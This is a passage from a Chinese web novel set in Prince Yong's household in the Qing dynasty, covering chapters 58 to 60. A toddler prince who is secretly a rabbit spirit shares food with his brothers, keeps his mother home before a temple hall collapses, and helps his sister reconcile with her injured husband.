耿格格给乌拉那拉氏福身过后,赶忙去追弘昼。 乌拉那拉氏也带着弘晏回正院去了。 人一走完,钮祜禄格格静下来也有些后怕。 既然是弘历提的主意,要是弘晏有了差错,那她可真是没法子交代了。 这厢,耿格格回了邀月轩,迈进正屋没有见弘昼的身影,便又出来去了耳房,结果耳房的门被人从里面插上了。 不用想,耿格格也知道是弘昼在里面。 耿格格只得对着门喊道:“弘昼,是额娘错怪你了。” 弘昼一心只想着玩,也闯过不少祸,是以今日她就先入为主的认为又是弘昼的主意了。 耿格格说完,不听里面有动静,遂又开口:“弘昼,是额娘不对,你快出来吧,别生额娘的气了。” 无论耿格格说什么,弘昼都不为所动。 耿格格便想着,等到中午,弘昼饿了,自然会出来的。 午膳摆上桌,耿格格又来耳房门前唤弘昼:“弘昼,额娘让膳房做了你喜欢吃的菜,快些出来吧,你和额娘怄气,别和你的肚子过不去。” 弘昼抗不过肚子发出的抗议,最终还是踩着板凳将门打开了。 可是到了饭桌上,弘昼只顾埋头吃饭,压根不搭理耿格格。 耿格格便知,弘昼还在生她的气。 耿格格自知理亏,又给弘昼的碗里夹了一块肉:“弘昼,你要怎样才能原谅额娘?” 弘昼将嘴里的饭咽下去,方才道:“以后不许逼我读书。” 耿格格一愣,随即,语重心长的开口道:“弘晏,额娘不是非要逼你读书,你身在皇家,岂能不读书明理,就算是平民之家,男孩子也是要上书塾的呀,再者,就算额娘答应了你,你阿玛又岂能答应?” 弘昼也不是不讲理的人,退一步道:“那你三天不许逼我读书。” 趁着额娘理亏,快乐一天是一天。 耿格格闻言,点头道:“好,额娘答应你。” 这厢,胤禛下值后,直接去了正院用午膳,才得知早上发生的事情。 乌拉那拉氏开口道:“爷用完膳,去瞧瞧弘历吧。” 胤禛一口答应。 弘晏闻言,出声提醒道:“还有五锅锅。” 胤禛疑惑道:“不是只有弘历受伤了吗?” 弘晏一本正经道:“五锅锅,心痛痛。” 被人冤枉的滋味可不好受,更何况这个人还是弘昼最亲近的耿格格。 第58章 第58章如隔三秋 翌日清晨,弘晏被乌拉那拉氏抱到外间用早膳,一眼就瞧见了那八仙桌上放着一盘热气腾腾的蟹黄汤包。 芜湖! 额娘还是言而有信,说到做到的。 那碟子蟹黄汤包足足有四个。 乌拉那拉氏端起薏仁米粥,边舀起一勺边对着弘晏商量道:“福宝,蟹黄汤包只能吃一个哦。” 弘晏乖巧的点了点头。 乌拉那拉氏先给弘晏喂着薏仁米粥,待蟹黄汤包放凉了些,便从碟子里拿起一个递到弘晏手里。 小小的蟹黄汤包在弘晏的小手掌里却显得很大,一口咬下去,是满满的蟹黄汤汁。 弘晏的眼睛都跟着亮起来。 一个蟹黄汤包吃完,又喝了半碗薏仁米粥,弘晏已经饱了。 随即,弘晏指了指碟子里的蟹黄汤包,开口道:“额凉,窝要给四锅锅、五锅锅送。” 乌拉那拉氏意外之余十分欣慰,拿着帕子给弘晏擦嘴擦手:“好。” 流萤端来两碟子蟹黄汤包,放进食盒里装好后,就交给了王乳娘。 随后,弘晏就带着王乳娘出发了。 第一站,先去钮祜禄格格母子居住的如意室。 弘晏边往屋子里走,边扬着小脸喊道:“锅锅。” 此时的钮祜禄格格与弘历还在用早膳。 见着弘晏过来,钮祜禄格格与弘历都十分震惊。 弘历笑着说道:“弟弟,你怎么来了?” 弘晏忽闪着大眼睛:“看泥啊,锅锅好些了没?” 弘历心里暖暖的,笑着回答道:“涂了柳大夫的药膏已经不痒了。” 钮祜禄格格将碗放下,对着弘晏说道:“六阿哥来的巧,坐下来一起用些早膳吧。” 弘晏摇了摇小脑袋,随后又指着王乳娘手里的食盒说道:“窝吃过了,给锅锅送蟹包。” 弘晏话音落下,王乳娘便将食盒打开,将一碟子蟹黄汤包放在了桌子上。 弘历眼睛一亮,笑的愈发灿烂:“谢谢弟弟。” 弘晏回答道:“嘿嘿,锅锅你吃吧,窝要去给五锅锅送了。” 钮祜禄格格听了这话,忙吩咐道:“冬雨,给六阿哥包两份儿金丝蜜枣来。” 话说完,钮祜禄格格又笑吟吟的对着弘晏说道:“六阿哥,这金丝蜜枣是我自己做的,你和五阿哥都尝尝。” 弘晏乖巧的点头:“谢谢姨凉。” 待冬雨将包好的金丝蜜枣交给了王乳娘后,弘晏就又迈着小短腿出发去邀月轩了。 此时的弘昼正在院子里荡秋千,见弘晏来了,便叫秋叶拉停秋千,而后直接从秋千上蹦了下来,小跑到弘晏面前。 弘昼的眼睛瞟到了王乳娘拎着的食盒,笑了笑问道:“弟弟,你是来给我送好吃的吗?” 弘晏点了点头。 弘昼笑得更开心了:“嘿嘿,还是你对我好。” 说着,弘昼拉着弘晏的小手,二人往屋子里去。 弘晏冲着小榻上的耿格格说道:“耿姨凉,安。” 耿格格笑着点头,转而吩咐人端碗杏仁酪来。 弘晏与弘昼被抱到了小榻上坐着,王乳娘将蟹黄汤包和金丝蜜枣摆放到矮桌上,自然也说清了金丝蜜枣是钮祜禄格格的心意。 弘昼拿起一颗金丝蜜枣扔进了嘴里,囫囵道:“好甜。” 随即,弘昼又拿起一个蟹黄汤包大口大口吃起来。 弘昼还不忘把蟹黄汤包的碟子往弘晏的方向推了推:“弟弟,你也吃。” 王乳娘见状,正欲开口,便见弘晏摇了摇小脑袋:“锅锅吃,窝吃过了。” 他的胃口小,实在吃不下了。 随着话音落下,弘晏又将碟子往弘昼的方向推了推。 王乳娘心里一惊,愈发觉得弘晏这位小主子是难得的懂事。 小小年纪,竟然能管住口腹之欲。 弘昼吃完,便带着弘晏去看他养的宠物。 毛毛虫和七星瓢虫已经死了,那三条小黑蝌/蚪却已经变成了青蛙。 弘晏刚走近,便听见一阵蛙鸣。 是以,今日弘昼带着弘晏 要做一件大事情,就是将三只青蛙给放生。 具体的步骤就是将三只青蛙从屋子的瓷缸里放生到院子的池塘里。 虽然很简单,可这对于弘昼来说是很神圣的。 弘晏歪着脑袋问:“锅锅舍得?” 弘昼养了这么久,肯定有感情了吧。 弘昼闻言,眼睛亮亮的,一点儿都不伤感:“大青、二青、三青还在院子里,我什么时候都可以看它们啊,而且它们长大了,瓷缸太小了。” 弘晏:大青、二青、三青…… “走吧,弟弟。” 弘昼说着,便请王乳娘帮着他将瓷缸搬到院子的小池塘旁,而后对着瓷缸里的青蛙说道:“大青、二青、三青,回你们从前的家吧,我会每天来看你们的。” 弘昼的话音落下,三只青蛙“呱呱”了几声,就一个接一个纵身跳进了小池塘里。 弘昼和弘晏站在小池塘旁边看着,只见三只青蛙扑腾着腿在水嬉戏。 弘晏不禁在心中感慨:这就是自由的天地啊。 弘晏看向弘昼的眼神,多了几分赞赏。 弘昼见弘晏一直盯着他瞧,眼珠子却不动,便伸手在弘晏脸前扇乎着:“弟弟?” 弘晏思绪回笼,对着弘昼笑了笑。 弘昼拉起弘晏的小手:“走,弟弟,我们玩秋千去。” 厚厚的云层在天空漂浮,不一会儿就掩盖住了太阳,晴朗的天儿转而变得灰蒙蒙了。 紧接着秋风习习,树枝上的黄叶被吹得沙沙作响,更掉落下来不少。 王乳娘见变天了,便喊弘昼与弘晏先进屋子去。 弘晏与弘昼确实感觉到气温变冷了,便乖巧的从秋千上下来,跟着王乳娘进了屋子。 耿格格命人煮了姜茶给弘昼和弘晏喝。 弘昼与弘晏都苦着小脸喝完后,吃了好几个金丝蜜枣来压姜的辛辣味儿。 忽而,弘昼透过窗子看到了外面的景象,喊道:“弟弟,你看,下雨了。” 弘晏一扭头,果然是下大雨了。 弘昼兴奋极了,翻下小榻之后,哒哒跑到屋檐下,蹦蹦跳跳的冲着屋子喊道:“弟弟,快出来,下好大的雨啊。” 那雨随着风扫进屋檐下,打在脸上,弘昼觉得十分好玩。 可弘昼等来的却是耿格格。 下一刻,弘昼就被耿格格拎进了屋子。 耿格格瞧着小榻上的弘晏,还不忘吩咐人去正院一趟,告知乌拉那拉氏弘晏在自己这里,也好叫她放心。 少顷,只听得雨声越来越大,有瓢泼之势,紧接着便是电闪雷鸣,从屋子里的窗子便能远远瞧见天边出现的“白线。” 耿格格疾步走过去,将弘晏抱在怀里而后坐在小榻上,抬起手捂住弘晏的耳朵。 耿格格柔声哄道:“六阿哥别怕,耿姨娘在呢。” 他壳子里可是活了几百年的玉兔精,对于恶劣天气自然是不害怕的。 只是,除了乌拉那拉氏和王乳娘,他再没被哪个女人这么亲昵的搂在怀里哄过了。 耿格格的怀抱虽然同样是香香软软的,但是弘晏嗅出了一种不同的味道。 他说不清楚这到底是什么味道。 但是,耿格格这么一抱,倒是让弘晏想起了从前在这种电闪雷鸣的天气下,都是乌拉那拉氏在哄抱着自己。 他,他想乌拉那拉氏了。 弘晏的情绪突然低落起来。 也不知道乌拉那拉氏现在会在做什么,会不会担心自己? 待雷声停了,耿格格便将手放下了,转而去抚摸弘晏的后背。 这时,弘昼捧了一个匣子笑呵呵的走过来:“弟弟,我们来玩玩具吧。” 瞧着热情相邀的弘昼,弘晏点了点头。 随即,耿格格抱起弘晏将人放在了地面上,又吩咐人在地上铺了厚毯子,好让弘昼和弘晏一起玩。 这场雨下的持久,快到午时也没有停歇,耿格格见状,询问了弘晏想要吃什么菜,便让小厨房准备午膳去了。 午膳上了桌,弘昼拿着勺子要喂弘晏:“弟弟,吃肉。” 弘晏配合的张了口。 随即,礼尚往来的拿起勺子也喂了弘昼一口肉。 弘昼眨了眨眼睛:“嘿嘿,弟弟喂的肉好吃。” 多了一个孩子,耿格格这顿午膳吃得热闹极了。 吃饱喝足,耿格格带着弘昼与弘晏去内室午睡。 上了拔步床,弘昼让弘晏躺在里侧,自己则躺在外面。 弘昼学着耿格格素日哄自己的样子,轻轻拍打着弘晏的小身子。 耿格格见状,本是欣慰的。 可是没过一会儿,弘昼拍打的动作就停了。 耿格格定睛一瞧,弘昼已经睡着了,可弘晏还水灵灵的睁着大眼睛。 耿格格哭笑不得。 这孩子,哄人倒是先把自己哄睡了。 弘晏不忍心吵醒熟睡的弘昼,便低声道:“耿姨凉,窝要出恭。” 耿格格听罢,忙将弘晏抱起来。 耿格格本是想直接带着弘晏去净房的,可弘晏哪里好意思,喊着要王乳娘。 耿格格只好将弘晏交给了王乳娘。 去净房回来后,弘晏的确有了困意,王乳娘便横抱着弘晏在屋子里来回踱步,很快,弘晏便进入了梦乡。 王乳娘见状,就抱着弘晏往耿格格的内室去,将弘晏放在拔步床的里侧,又给弘晏掖好被子。 半个时辰后,弘昼与弘晏睡醒,外面的雨已然停了。 邀月轩的奴才们已然拿着工具开始清扫院子里的积水。 弘昼睡了一觉,如今又精力充沛了,便想拉着弘晏去院子里踩水坑玩。 弘晏心里惦记着乌拉那拉氏,谢绝了弘昼的提议,急着回正院去。 弘晏的心思,耿格格自然能理解,一岁多的小娃娃几个时辰不见额娘,定然是想的厉害。 不过,弘晏安安静静的不哭不闹,已经让耿格格很是意外了。 见王乳娘抱起弘晏准备告辞,耿格格忙叫秋叶拿了件披风给弘晏罩在身上。 雨虽然停了,可天儿还是冷的。 弘晏走后,弘昼就在院子里跑来跑去的踩水坑,那水坑飞溅出来的脏水一滴不落的都落在了弘昼的衣服上,可弘昼却玩得不亦乐乎。 耿格格怎么喊,都喊不动弘昼,索性便放弃了。 等他自己个儿玩腻了,自然就进来了。 另一边,王乳娘抱着弘晏回到了正院,弘晏迫不及待的要从王乳娘怀里下去,哒哒的跑进屋子喊道:“额凉,窝回来了。” 乌拉那拉氏听罢,立马将手头的针线放下,起身迎出去,一把将弘晏抱进了怀里。 常言道:一日不见,如隔三秋。 她不过半天没见弘晏,就像过了三年似的。 弘晏趴在乌拉那拉氏的怀里,贪婪的吸着乌拉那拉氏身上所独有的香味:“额凉,额凉。” 乌拉那拉氏抱着弘晏坐回到小榻上,贴了贴弘晏的小脸儿。 幸而有披风罩着弘晏,这一路走回来弘晏的小脸蛋儿倒是热乎乎的。 乌拉那拉氏又亲了亲弘晏的脸颊,问道:“福宝,有没有哭啊?” 弘晏坚定的摇了摇小脑袋。 随即,弘晏又往乌拉那拉氏怀里蹭了蹭,撒娇道:“窝想额凉。” 乌拉那拉氏紧紧抱着弘晏:“额娘也想你。” 耿格格命人来正院回了话,她知晓耿格格是个妥帖的人,理智上她是放心的。 可情感上,她如何能放心。 她也曾想过叫人撑把伞,好把弘晏从邀月轩接回来,可又觉得雨下的这么大,折腾弘晏一趟,若是因此受风染了风寒,倒是不好了。 反正,雨总有停的时候。 弘晏忽然想起了什么,叫王乳娘把东西拿出来。 王乳娘便从怀里拿出了包裹好的油皮纸,而后将油皮纸打开,里面是一颗颗圆润的金丝蜜枣。 弘晏拿起一颗喂进乌拉那拉氏嘴里:“额凉,好吃吗?” 乌拉那拉氏笑着:“好吃,这是额娘吃过最好吃的金丝蜜枣。” 随即,乌拉那拉氏也拿起一个喂进了弘晏嘴里。 到了晚上,弘晏不愿意跟着让王乳娘抱着自己去沐浴更衣,一个劲儿的喊着:“额凉。” 乌拉那拉氏见状,点了点弘晏的小鼻尖,宠溺道:“好,额娘抱你去洗。” 给弘晏洗完热水澡,乌拉那拉氏拿着长巾擦干弘晏身上的水分,就给弘晏换上自己刚做好的寝衣。 还别说,这寝衣不大不小,弘晏穿在身上刚刚好。 弘晏知晓自己身上的寝衣是乌拉那拉氏花费了好几日的功夫,一针一线缝出来的,便奶呼呼的说道:“窝稀罕。” 乌拉那拉氏笑了:“福宝喜欢,额娘就高兴了。” 随后,乌拉那拉氏抱起弘晏便往内室走。 弘晏的两只小手搭在乌拉那拉氏的脖子上,小脸儿凑过去在乌拉那拉氏脸上亲了又亲:“额凉,稀罕额凉。” 乌拉那拉氏闻言,笑得眉眼弯弯:“额娘也喜欢福宝。” 第59章 第59章以身相护 这日,天高云淡,惠风和畅。 正院内。 弘晏瞧着乌拉那拉氏用完早膳后,又迈步去了内室,转而坐在梳妆台前整理仪容,便迈着小短腿跟过去问道:“额凉,要去哪?” 乌拉那拉氏正对着菱花镜描眉,闻此言,笑盈盈道:“福宝怎知道额娘要出门了,今日天好儿,额娘去趟红螺寺。” 红螺寺? 不知为何,弘晏听到这个名字,心底便莫名的生出一种不好的预感。 于是,弘晏开始仔细的回想着脑海中久远的记忆碎片。 那些模糊的零星碎片,在他脑海中一块块拼凑,逐渐变得清晰起来。 当时他还是玉兔精,来人间游玩,是为了瞧一瞧人间烟火,而那日京城街头巷尾都在议论红螺寺大殿坍塌,死伤数人之事。 而那时当政的皇帝正是康熙,季节也是金秋。 只是,那日是否为康熙五十三年,他不得而知。 乌拉那拉氏梳妆完毕,转而扭过身来,柔声嘱咐着弘晏:“福宝乖,额娘很快就回来,你若嫌无趣,叫乳娘抱着你去邀月轩与弘昼玩耍吧。” 弘晏思绪回笼,立马扑过去抱着乌拉那拉氏的小腿,哼唧着不让乌拉那拉氏去。 不管红螺寺大殿坍塌之事,是不是发生在康熙五十三年的秋天,他既然回想起了这件事,直觉又这般不祥,那他不能抱着侥幸的心理,绝不能让乌拉那拉氏涉险。 乌拉那拉氏哪里知弘晏的心思,只以为弘晏舍不得她走,便俯身将弘晏抱起来放在膝头上:“福宝乖,今日是十五,是祈福进香的好日子,额娘回来给福宝带好吃的,好不好?” 红螺寺香火鼎盛,每逢初一、十五更是人山人海,弘晏太小,跟着她去实在太受累了。 弘晏摇了摇小脑袋,随即窝进乌拉那拉氏怀里:“额凉不去,在家陪窝玩。” 乌拉那拉氏耐心哄道:“那可不行,福宝乖,额娘叫弘昼陪你玩,好吗?” 素日里,弘晏最爱和弘昼一起玩了。 弘晏一个劲儿的嚷道:“不要,就要额凉,要额凉。” 乌拉那拉氏拗不过弘晏,索性改变主意决定带着弘晏一同去红螺寺,到时候叫王乳娘和流萤都照看着弘晏,也就是了。 弘晏:?! 这红螺寺就非去不可吗? 弘晏扯着乌拉那拉氏的袖口,哼唧道:“额凉,不去,不去,陪窝荡秋千。” 乌拉那拉氏有些犯难,同时也觉得有些奇怪。 弘晏很少有这么无理取闹的时候。 今日这孩子到底是怎么了? 弘晏见乌拉那拉氏不言语,便知她在权衡,索性瘪着小嘴,委屈巴巴的望着乌拉那拉氏,眼看就要落下泪来。 苦肉计要是还不管用,他只能在地上撒泼打滚了。 弘晏这样想着。 而乌拉那拉氏瞧着弘晏黑葡萄般的大眼睛里蒙起一层氤氲,大有一幅她要是不答应,就大哭一场的架势。 弘晏平日再懂事,到底也是一岁多的小娃娃。 而奶娃娃,正是黏亲娘的时候。 乌拉那拉氏到底是心软了。 随即,乌拉那拉氏双手捧着弘晏的小脸蛋儿,眼睛里面满是慈爱,柔柔道:“好了,好了,额凉不去了,在家陪着福宝玩。” 红螺寺又没有长腿跑,今日去不成,往后的初一、十五还多着呢。 她可舍不得弘晏伤心。 弘晏听了乌拉那拉氏的话,总算是松了一口气。 随即,弘晏带着哭腔喊了一声“额凉”,紧接着窝进乌拉那拉氏的怀里,小脑袋更是在乌拉那拉氏的衣裳上蹭来蹭去的。 而乌拉那拉氏不知道的是,弘晏窝在她怀里后,嘴角上扬,露出了开心的笑容。 乌拉那拉氏还是最疼他的。 而乌拉那拉氏见状,抬手轻轻拍打了一下弘晏的小屁股,便抱着弘晏往院子去了。 “福宝,坐稳了,额娘要开始喽。”乌拉那拉氏对着弘晏说道。 弘晏脆生生的应了一声。 少顷,胤禛迈步进了正院,见乌拉那拉氏与弘晏母子两个玩得欢乐,笑着走过去唤道:“福宝。” 弘晏闻言,扭过脸看向胤禛,糯糯的喊道:“阿玛~” 乌拉那拉氏笑问:“爷今日怎么回来的这么早?” 胤禛边抬手摸了摸弘晏的小脑袋,边答道:“无事,便早早回来了。” 弘晏听罢,再次开口道:“阿玛,推推。” 胤禛笑着应了一声:“好。” 乌拉那拉氏转而将位置让出来。 胤禛见状,看向乌拉那拉氏,提议道:“福晋,你抱着弘晏一起坐上去吧。” 弘晏觉得这个主意甚好,随即冲着乌拉那拉氏唤道:“额凉,上来,上来。” 乌拉那拉氏瞧着眼前的父子俩一唱一和的,笑着答应了。 今日本就是为了弘晏放弃出门,总要叫弘晏玩尽兴了才好。 待秋千停稳,乌拉那拉氏坐上了秋千,转而将弘晏抱坐在膝头。 胤禛见母子二人坐稳了,便开始推秋千。 一家三口正玩在兴头上,苏培盛慌慌张张的进来了。 胤禛见状,脸上的笑意一顿:“发生了何事?” 苏培盛伺候他多年,一向是沉稳的,如今这般惊慌,想必是出了大事。 苏培盛喘了口气,方禀道:“爷,红螺寺的大殿坍塌了,事发时,怀恪郡主和额驸正在大殿进香,幸而额驸用身体护住郡主,郡主无大碍,可额驸重伤昏迷,被人抬回了那喇府。” 乌拉那拉氏听完,第一反应是看向自己怀里的弘晏。 弘晏今日闹腾着不让她出门,莫非是未卜先知? 随即,乌拉那拉氏又打消了自己的荒唐想法。 一个小娃娃,怎能有这般本事。 或许,只是巧合罢了。 而弘晏听到了这个消息,先是庆幸自己留住了乌拉那拉氏,否则后果不堪设想,随即又担忧起那喇星德来。 这厢,胤禛听罢,眉头皱起,问道:“太医可去了?” 苏培盛答道:“郡主已然请了太医过府。” 苏培盛的话音刚落地,李侧福晋带着丫鬟夏婵哭哭啼啼的跑过来:“爷,大事不好了,咱们的茉雅奇出事了。” 胤禛念着李侧福晋爱女心切,没计较她的失态,更是温声安抚道:“星德用身体护住了茉雅奇,茉雅奇无碍。” 李侧福晋心下稍安,念叨着:“茉雅奇没事就好,没事就好。” 随即,李侧福晋又开了口,焦急道:“爷,让妾身去趟那喇府,妾身亲眼瞧着茉雅奇没事,妾身才能安心。” 胤禛有些不耐:“你就别裹乱了,爷去就成。” 就李氏这幅张牙舞爪的模样,去了那喇府,指不定出什么乱子。 “可……”李侧福晋话还没说完,就被胤禛满是警告的眼神给吓了回去。 李侧福晋讪讪道:“爷去好,妾身在府中等着爷的消息。” 这时,弘晏奶呼呼的跟着开了口:“阿玛,窝要去,看姐姐。” 出了这等大事,他当然要去瞧瞧。 胤禛闻言,直接俯身将弘晏抱在怀里,边往外走边吩咐道:“苏培盛,带上柳从南。” 去往那喇府的马车上,弘晏问向胤禛:“阿玛,姐姐、姐夫会有事吗?” 胤禛闻言,摸了摸弘晏的小脸儿,柔声道:“不会的,上天会保佑他们的。” 弘晏乖巧的点了点头,随即靠在胤禛怀里。 在弘晏看不见的地方,胤禛的眸子暗了一瞬。 连弘晏都知道关心星德的伤势 ,而李氏却置若罔闻,更何况还是星德护住了怀恪。 不久,马车稳稳地停在了那喇府门前,胤禛抱着弘晏下了马车,直接往怀恪郡主与星德居住的院子去了。 到了院内,弘晏从胤禛怀里下来,瞧见的是正屋的门紧闭着,而屋檐下的怀恪郡主满是担忧的望着屋内。 “姐姐”,弘晏喊了一声。 怀恪郡主闻言,直接红了眼眶,跑过来扑进了胤禛的怀里,大声抽泣起来:“阿玛,星德他,他为了救我……都怪我……” 胤禛愣了愣,在他记忆中,从怀恪八岁后,自己就再没有抱过她了。 随即,胤禛轻轻拍了拍怀恪郡主的后背,安抚道:“茉雅奇,事发突然,又怎能怪你。” 怀恪郡主从胤禛怀里出来,摇了摇头,解释道:“是我非拉着星德去红螺寺的,他不愿进大殿,只在殿外等着我,大殿坍塌的时候,是他冲进来以身相护。” 说到这里,怀恪郡主又哭了起来。 弘晏听罢,只觉得人的下意识反应才是真实的。 看来,那喇星德对怀恪郡主是动了真心的。 胤禛问道:“星德如何了?” 怀恪郡主边拿着帕子擦眼泪,边说道:“太医还在里面。” 胤禛看向柳从南,柳从南心领神会,拎着药箱进了正屋。 怀恪郡主带着胤禛与弘晏先去厢房歇息。 弘晏见怀恪郡主心不在焉地望向正屋的方向,便小跑过去安慰道:“姐姐,不要哭了,姐夫会没事的。” 望着天真可爱的弘晏,怀恪郡主的脸上勉强挤出一抹笑来:“乖福宝。” 随即,怀恪郡主的眸子里满是落寞,喃喃道:“他会没事的。” 过了会儿,许太医与柳从南都前来厢房回话。 大抵意思便是:那喇星德是习武之人,身体底子好,虽然受了重伤但万幸没有伤到要害,只要卧床精心休养几个月,身体便会痊愈的。 怀恪郡主听罢,总算是松了一口气。 得知那喇星德已经醒了,弘晏与胤禛、怀恪郡主一同往正屋去探望。 拔步床上,那喇星德已然坐起来,脸色苍白,但对着胤禛依旧恭敬的开口:“阿玛,请恕小婿不能起身请安。” 胤禛在拔步床前的绣墩坐下,对着那喇星德说道:“不必在意这些繁文缛节,你安心养伤便是,我该多谢你救了怀恪才是。” 那喇星德闻言,一抬眸便撞上了怀恪郡主的视线。 眼睛红通通的,该是刚哭过。 那喇星德这样想着。 随即,那喇星德开口答道:“阿玛言重了,小婿身为人夫,理该如此。” 这时,苏培盛进门禀道:“爷,那喇大人与夫人往这边来了。” 胤禛听罢,便要起身出去,与那喇氏夫妇聊上一聊,也好给小两口腾地方说知心话。 谁知,弘晏却不愿意跟他走。 “阿玛,窝要看姐夫。”弘晏奶呼呼的喊道。 那喇星德闻言,便道:“阿玛,让六阿哥留下吧,也好陪我们说说话。” 弘晏闻言,扬了扬小脸儿。 胤禛无奈,便将弘晏留下了。 那喇星德命人给弘晏端来了蜜饯,弘晏拿了一片桃脯,随即,又问道:“姐夫,窝可以看看屋子吗?” 那喇星德点头道:“当然可以。” 随后,弘晏边吃着桃脯,边迈着小短腿在屋子里转悠起来。 怀恪郡主坐在拔步床前的绣墩上,看着面前的那喇星德,心中满是自责与愧疚,千言万语到了嘴边却只是干巴巴的问道:“星德,你好些了吗?” 那喇星德读懂了怀恪郡主眼中的情绪,“嗯”了一声。 冲进去救她,是他自己的选择。 他不需要她的怜悯。 怀恪郡主见那喇星德冷冰冰的,便揉着手里的帕子,低低地开口问:“星德,你,你是不是在怪我?若不是我执意要去红螺寺,你也不会遭此劫难。” 那喇星德见怀恪郡主自责的紧,便为她宽起心来:“红螺寺大殿坍塌,非郡主所能预料,我救郡主也是为了那喇氏阖府上下,所以郡主不必自责。” 怀恪郡主愣住了,看着那喇星德,迟疑的问道:“你舍身救我,难道只因为我是郡主?是雍亲王的女儿?” 第60章 第60章非礼勿视 怀恪郡主的话落地后,静静地等待着那喇星德的答复。 那喇星德顿了顿,方道:“郡主金尊玉贵,下嫁于我那喇家,是我那喇家阖府荣光,护佑郡主安危,更是我为人臣、为人夫应尽之责,是以郡主不必引咎自责。” 怀恪郡主听完,那明亮的眼睛慢慢暗了下去。 一口一个“那喇家”,她原以为成婚这么久,那喇星德对她至少有几分情意在的,不承想危急时刻,他的以身相救只是为了那喇家的前程,生怕自己有三长两短,无法与阿玛与皇家交代。 怀恪郡主心中的自责与愧疚不复存在,整个人又恢复了平日里独属于郡主的高傲姿态:“如此,额驸便好生养伤吧。” 话说完,怀恪郡主起身便要离开屋子。 这时,弘晏小跑过来拉着怀恪郡主的裙摆说道:“姐姐,来,来看。” 怀恪郡主见弘晏脸上满是焦急,便跟着弘晏走,却不想弘晏直接将她带到了一墙之隔的书房中。 那是那喇星德办公所在。 弘晏又引着怀恪郡主来到靠着墙壁放置的一方矮脚书桌:“姐姐,看。” 说着,弘晏便伸手将面上的一层宣纸给拿开了。 而那宣纸下面赫然是一幅美人图。 那画中的美人自然就是怀恪郡主。 这画虽然还未完工,但人物刻画的栩栩如生,一看就是下了功夫的。 怀恪郡主俯身将画拿起来,画中的她正笑吟吟的坐在临窗的小榻上插花。 从画中她的穿戴来看,应是昨日的场景。 可彼时那喇星德回来,她只嫌那喇星德连花的种类都辨不清,还凑过来与她一起修剪花枝,败了她的好兴致。 不承想,暗地里那喇星德却将她插花的场景画下来,还将她画的这般美。 怀恪郡主的直觉告诉她,这一定不是第一幅。 随后,怀恪郡主将画放回去,转而俯身去放满画的卷缸里找。 将一幅幅画轴展开,怀恪郡主果然发现了自己的画像,有池边喂鱼图,有春日里的赏花图,更有她午后小憩儿的图。 瞧着瞧着,怀恪郡主的眼眶便湿润了。 弘晏见状,适时说道:“姐姐,不哭,不哭。” 怀恪郡主闻言,笑着道:“福宝,走,我们找他去。” 弘晏点了点小脑袋,转而跟着怀恪郡主又往正屋去了。 那喇星德一抬头,瞧见怀恪郡主手里的画,立马就明白发生了什么,转而对着弘晏问道:“六阿哥,你怎么能……” 弘晏往怀恪郡主的身后藏了藏,只露出一个小脑袋,忽闪着大眼睛,很是无辜的说道:“泥叫窝随便看的。” 那喇星德无奈道:“可我也没让你随便动啊。” 怀恪郡主嗔道:“若非弘晏,我至今还蒙在鼓里,你若想画,为何不大大 方方的画?” 那喇星德低着头,脸上又有些臊,抿着唇没有答话。 怀恪郡主见状,又问道:“那喇星德,本郡主在问你话?” 那喇星德胡诌道:“随便画画罢了,登不上台面,更不敢污了郡主的眼睛。” 弘晏听罢,可就急了,直接对着怀恪郡主说道:“姐姐,画好看,他骗人。” 这个那喇星德,不会说话可以不说,都什么时候了,还死要面子活受罪。 怀恪郡主摸了摸弘晏的小脸蛋儿,又对着那喇星德说道:“福宝都听的出来你在说谎,你还要演到何时?” 事已至此,那喇星德索性竹筐倒豆子,一股脑儿全部说了出来:“郡主,我知你嫌我不懂风月,是以才不敢在你面前卖弄,省得惹你生气,我也并非不想陪你去红螺寺进香,只是我乃一介武夫,身上都是杀戮之气,不该污了佛门净地,你若喜欢去,我在外面等着便是,大殿坍塌之时,我堂堂七尺男儿,又怎能为保性命,将自己的女人留在险境。” 压在心头已久的话说完,那喇星德整个人都轻松了不少。 弘晏很是欣慰的望着那喇星德,早这么说不就结了。 还让小小年纪的他,跟着操碎了心。 怀恪郡主听完,心中复杂的紧,转而抬步坐在了拔步床沿,问道:“星德,你可知我今日去红螺寺,是求什么?” 那喇星德摇了摇头。 郡主的心思,他哪里知晓。 怀恪郡主转而问道:“我们成亲多久了?” 那喇星德虽然不知晓怀恪郡主为何突然问这个,还是如实答道:“再过三日,便整整两年了。” 怀恪郡主嗔道:“那你还不知我所求?” 那喇星德闻言,又见怀恪郡主脸上浮现一抹羞涩,便恍然大悟了。 同时,他又有些懊恼。 原来,他与郡主彼此都有情意,但又彼此不知,甚至都误以为对方并无情意,此前岁月,他若早些言明,又哪里会生出这许多事。 而今,话已然说开,那喇星德再也按捺不住心里的情意,一把将怀恪郡主抱在怀里,随即俯身吻上去。 弘晏见状,赶忙抬起小肉手捂住眼睛,随后转过身去,将两只手放下,赶紧迈着小短腿出去了。 非礼勿视! 非礼勿听! 那喇星德正吻在兴头上时,忽而感到后背伤口撕裂,便松开了怀恪郡主。 怀恪郡主脸红的紧,却又顾不上羞,赶忙问道:“弄到伤口了,我叫太医过来。” 说着,怀恪郡主便要起身,却被那喇星德又搂进了怀里。 怀恪郡主不敢动,生怕再扯到了那喇星德的伤口,只红着脸哄道:“你猴急什么,安心养伤,等伤好了,我都由你。” 那喇星德乖乖的松开了怀恪郡主,由着怀恪郡主扶着自己趴到床上。 这厢,弘晏下了台阶,却见柳从南拎着药箱还立在院中央。 见着弘晏出来,柳从南迎上去,拱手道:“六阿哥,爷命我在此侯着。” 弘晏点了点小脑袋,随即拿出阿哥的派头,一本正经的吩咐道:“抱我去找阿玛吧。” 柳从南答道:“嗻。” 随即,柳从南俯身将弘晏抱进怀里,带着小人儿往前院去。 弘晏闻到了柳从南身上有一股子药味儿,不过还挺好闻的。 弘晏出声唤道:“柳大夫?” 柳从南边走边答道:“阿哥有何吩咐?” 弘晏不解道:“为何你身上的药味儿好闻,喝的药却苦?” 柳从南一本正经的回答道:“那是因人的嗅觉与味觉感知不同,再者便是药材种类与制作方法不同,从而产生的气味不同,奴才常年与药材打交道,对于奴才而言,这药材比世间万物都要香上几分。” 弘晏点了点小脑袋,随后答道:“哦。” 听上去有些道理。 而柳从南现在才反应过来,六阿哥才一岁多,自己方才所言对他来说太过深奥了。 柳从南有些期待的问道:“六阿哥,可是喜欢药香?” 弘晏摇了摇小脑袋。 他只是好奇罢了。 柳从南:“……” 很快到了前院,柳从南将弘晏放下,弘晏哒哒的跑到胤禛身边喊“阿玛。” 